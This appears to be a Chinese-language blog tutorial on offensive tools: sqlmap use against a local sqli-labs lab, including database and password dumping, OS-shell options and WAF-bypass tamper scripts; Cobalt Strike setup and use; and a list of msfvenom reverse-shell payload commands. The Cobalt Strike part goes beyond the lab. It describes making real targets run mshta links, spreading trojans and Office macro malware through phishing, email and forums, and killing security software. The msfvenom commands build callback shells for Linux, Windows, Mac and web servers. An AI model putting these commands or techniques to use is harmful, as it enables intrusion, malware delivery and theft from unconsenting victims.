1,SQLMAP

环境:windows10

1,sqlmap安装与使用

安装

安装python2

首先我们要安装python2,安装方法照着官网安装就行了
若,想在电脑上同时安装python3和python2,请参考以下两篇博文
https://blog.csdn.net/weixin_42719923/article/details/113094622
https://blog.csdn.net/qiang12qiang12/article/details/53239866

安装sqlmap

在官网下载sqlmap的压缩包,并解压到相应的python2安装目录

  1. www.sqlmap.org

使用

找到sqlmap所在的目录环境,并找到sqlmap.py的文件
在cmd中运行如下代码则运行了sqlmap

  1. python2 sqlmap.py -u(选项,具体请看官方文档)

注意:上述命令中我们用的python2是本人设置了python3和python2的特殊设置,仅仅安装的python2的师傅只需在代码开头把python2改为python即可
运行成功如下图所示:
图片.png

在sqli-lab环境下的使用

漏洞查找
  1. python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/

查找url的漏洞并给出payload
图片.png
第一处是否以URL为目标尝试注入

图片.png
第二处是否减少数字的回应

  1. python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1

查找url的漏洞并给出payload(单个注入点参数使用方法)
图片.png

  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1&uid=2"

查找url的漏洞并给出payload(多个注入点参数使用方法,需要加双引号)
图片.png

数据库查找
  1. python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 — —dbs

图片.png

数据库中表单查找
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges --tables

图片.png

在表单中查找字段
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges -T i8wv0zdsl8 --columns

图片.png

获取字段内容
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges -T i8wv0zdsl8 -C id,tryy --dump

图片.png

获取数据库用户
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --users

图片.png

获取数据库用户密码
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --password

图片.png

获取当前网站使用数据库名称
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db

图片.png

获取当前网站数据库用户名称
  1. python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-user

图片.png

sqlmap进阶

1,level 5(等级探测)

在sqlmap命令执行最后加上命令

  1. --level X (X替换为1~5,不添加默认为1)

X数值越高,sqlmap检测就越全面,但时间也会变得越慢。

2,查看当前用户是否为管理权限
  1. sqlmap -u "http://xxx.xxx.xxx?id=1" --is-dba

3,列出数据库管理员角色
  1. --roles (可查看管理员角色,当数据库是Oracle -U 参数可查看具体的值)

4,伪造Http的referer头
  1. --referer http://XXX.XXX.XXX.XXX

伪造http的referer头,(部分sql注入需要)

5,获取sql的shell
  1. --sql-shell

6,运行任意操作系统命令
  1. --os-cmd,--os-shell

7,从数据库服务器中读取文件
  1. --file-read

8,上传文件打数据库中
  1. --file-write,--file-dest

在拥有特定的权限下,可以上传文件,可以是二进制,也可以是文本。

sqlmap自带绕过脚本tamper

  1. sqlmap.py XXXXXXXX --tamper "模块名"

tamper目录里存在很多模块文件(py文件),还可以自己写py文件绕过

  1. --identify-waf #进行waf检测

tamper之apostrophemask.py

作用:将引号替换为UTF-8,用于过滤单引号

base64encode.py

作用:替换为base64编码

multiplespaces.py

作用:围绕SQL关键字添加多个空格

space2plus.py

作用:用’+’代替’ ‘(空格)

nonrecursivereplacement.py

作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,列如将SELECT替换为空)

space2randomblank.py

作用:将空格随机替换为其他有效字符

unionalltounion.py

作用:将 UNION ALL SELECT 替换为 UNION SELECT

securephere.py

作用:追加特制的字符串

sapce2hash.py

作用:将空格替换为#,并添加一个随机的字符串和换行符

space2mssql

作用:将空格替换为其他空符号

space2mssqlhash.py

作用:将空格替换为#,并添加一个换行符

between.py

作用:用 NOT BETWEEN 0 AND 替换 > ,用 BETWEEN AND 替换 =

percentage.py

作用:ASP允许在每个字符前添加一个%号

sp_password.py

作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password

charencode.py

作用:对给定的Payload全部字符使用URL编码(不处理已编码字符)。

randomcase.py

作用:随机大小写

charunioncodeencode.py

作用:使用 unioncide 编码

space2comment.py

作用:将空格替换为/**/

equaltolike.py

作用:将=替换为like

greatest.py

作用:绕过对’>’的过滤,用 GREATEST 替换大于号

2,BurpSuite

参考链接:https://t0data.gitbooks.io/burpsuite/content/

3,Nmap

主要用于发现主机端口开放和发现其开放服务,参考Znmap。

4,CobaltStrike

  1. CS结构即客户端/服务端架构,是一款团队作战渗透的神器,分为客户端和服务端,一个服务器可以对应多个客户端,一个客户端可以连多个服务端。<br /> CS主要用来后期持久渗透,横向移动,流量隐藏,数据窃取的工具。当已经在目标机器上执行了CSpaylaod,他会创建一个Beacon(远控木马功能)回连到C2服务器。(C2服务器:命令和控制服务器)

安装

image.png
teamserver是服务端,cobaltstrike.jar是客户端。

环境

需要jdk环境(通常使用JDK 8.0版本

Linux安装

  1. yum install java-1.8.0-openjdk*

Windows
请自行百度安装JDK 8.0

启动

服务端
CS 没法单独运行,必须分为服务端和客户端。首先上传服务端至Linux服务器,并运行

  1. chmod 777 teamserver
  2. ./teamserver [server_ipaddress] [password]
  3. 列如:./teamserver 127.0.0.1 123456

客户端
双击start.bat在win10运行客户端,CS默认端口未50050,用户名可随意输入,password为服务端设置的密码。点击connect链接即可启动CS

使用

页面介绍
image.png

监听器(在上述的3)
点击add,看到如下页面
image.png

然后填写相应的信息
image.png
设置0~6535未被占用的窗口,开启监听器

攻击模块(attack)

总共有三个分类:packages生成包,web drive-by通过web攻击某些东西,spear phish鱼叉攻击

Packages
HTML Applicant 生成.hta HTML应用程序
MS Office Macro 生成恶意宏放入office文件
Payload Generator 生成各种语言版本的payload
Windows Executable 可执行文件 默认 x86 勾选 x64表示生成x64

Web Drive-by
Manage 管理当前Team Server 开启的所有web服务
Clone Site 克隆某网站
Host File 在Team Server的某端口提供Web提供Web以供下载某文件
Scripted Web Delivery 为payload提供web服务以便于下载和执行
System Profiler 用来获取系统信息:系统版本,Flash版本,浏览器版本等

例子:
HTML Applicant
image.png
生成powershell(powershell可以理解为高级拓展的cmd),powershell可执行一些木马,后门,病毒等特殊脚本。

Host File例子:
image.png
可以提供一个链接供目标下载我们提前生成的文件,(建议不去使用80端口,可以8089)

Manage例子:
可以查看Team Server开着的web服务,可以看到Host File生成的链接url
image.png

目标上线
想办法让目标运行如下命令(Windows)

  1. mshta urlHost file生成的链接)

回到CS界面可以看到获取了目标的控制权限,右键点击目标,然后点击interact,即可进入操作界面
image.png
通常首先设置sleep 0,降低回显时间,然后执行命令

文件管理
image.png
可以查看目标C盘文件,运行完成后点击List driver可以查看其他盘

远程桌面
时间慢,启动慢,一般不启动,对服务器带宽有要求
image.png

任务管理器
如果权限比较高,可以kill安全防御软件
image.png

屏幕截图
可以将目标屏幕截图保存
image.png

生成后门木马

例子:
1,首先生成可执行文件

2,上传至目标机器

  • 通过webshell上传,运行
  • 通过互联网传播,钓鱼

生成.exe木马(不能被免杀)
image.png

Office 宏病毒(正版office 365,正版office 2019默认关闭宏命令,且不能免杀)
1,为文档添加宏,保存

  • 打开正常的office文件,如test.docx
  • 视图->宏->查看宏
  • 选择宏的位置为当前文档->输入宏名->创建
  • copy Macro粘贴到宏命令处(全选删除,粘贴)
  • 选择否,另存为docm

2,上传至目标机器

  • 通过互联网邮箱,社交媒体,论坛传播
  • 诱导点击

5,msfvenom 木马生成(常用)

Linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf

Windows

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl